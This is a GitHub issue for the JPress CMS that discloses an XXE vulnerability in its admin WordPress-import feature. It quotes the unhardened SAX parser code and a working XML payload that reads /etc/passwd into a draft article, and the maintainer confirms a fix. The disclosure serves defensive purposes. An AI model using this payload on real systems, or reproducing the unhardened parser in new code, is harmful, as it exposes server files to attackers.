JPressProjects / jpress

JPress,一个使用 Java 开发的建站神器,目前已经有 10w+ 网站使用 JPress 进行驱动,其中包括多个政府机构,200+上市公司,中科院、红+字会等。
http://www.jpress.cn
GNU Lesser General Public License v3.0
2.66k stars 1.18k forks source link

background XML entity injection vulnerability #156

Closed hack4money closed 3 years ago

hack4money commented 3 years ago

X4swSxJqpguyFOP

"系统管理"-"系统"-"小工具箱"-"WordPress文章导入":

io.jpress.module.article.controller.admin._WordpressImport#doWordPressImport

public void doWordPressImport() {

    UploadFile ufile = getFile();
    if (ufile == null) {
        renderJson(Ret.fail("message", "您还未选择WordPress文件"));
        return;
    }

    if (!".xml".equals(FileUtil.getSuffix(ufile.getFileName()))) {
        renderJson(Ret.fail("message", "请选择从WordPress导出的XML文件"));
        return;
    }

    String newPath = AttachmentUtils.moveFile(ufile);
    File xmlFile = AttachmentUtils.file(newPath);

    WordPressXmlParser wordPressXmlParser = new WordPressXmlParser();
    wordPressXmlParser.parse(xmlFile);

    List<Article> contents = wordPressXmlParser.getArticles();
    if (ArrayUtil.isNotEmpty(contents)) {
        doSaveArticles(contents);
    }

    List<Attachment> attachments = wordPressXmlParser.getAttachments();
    if (ArrayUtil.isNotEmpty(attachments)) {
        doSaveAttachements(attachments);
    }

    renderOkJson();
}

io.jpress.module.article.kit.wordpress.WordPressXmlParser#parse

public void parse(File wordpressXml) {
    try {
        SAXParserFactory factory = SAXParserFactory.newInstance();
        SAXParser parser = factory.newSAXParser();
        parser.parse(wordpressXml, this);
    } catch (Exception e) {
        log.warn("ConfigParser parser exception", e);
    }

}

upload a constructed xml,such as:

<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>

<item>
<wp:post_type>post</wp:post_type>
<title>2</title>
<content:encoded>&f;</content:encoded>
<wp:status>draft</wp:status>
</item>

The /etc/passwd contents can be read in draft article: exbNHiCdnfPrvVc

JPressProjects commented 3 years ago

已经修复...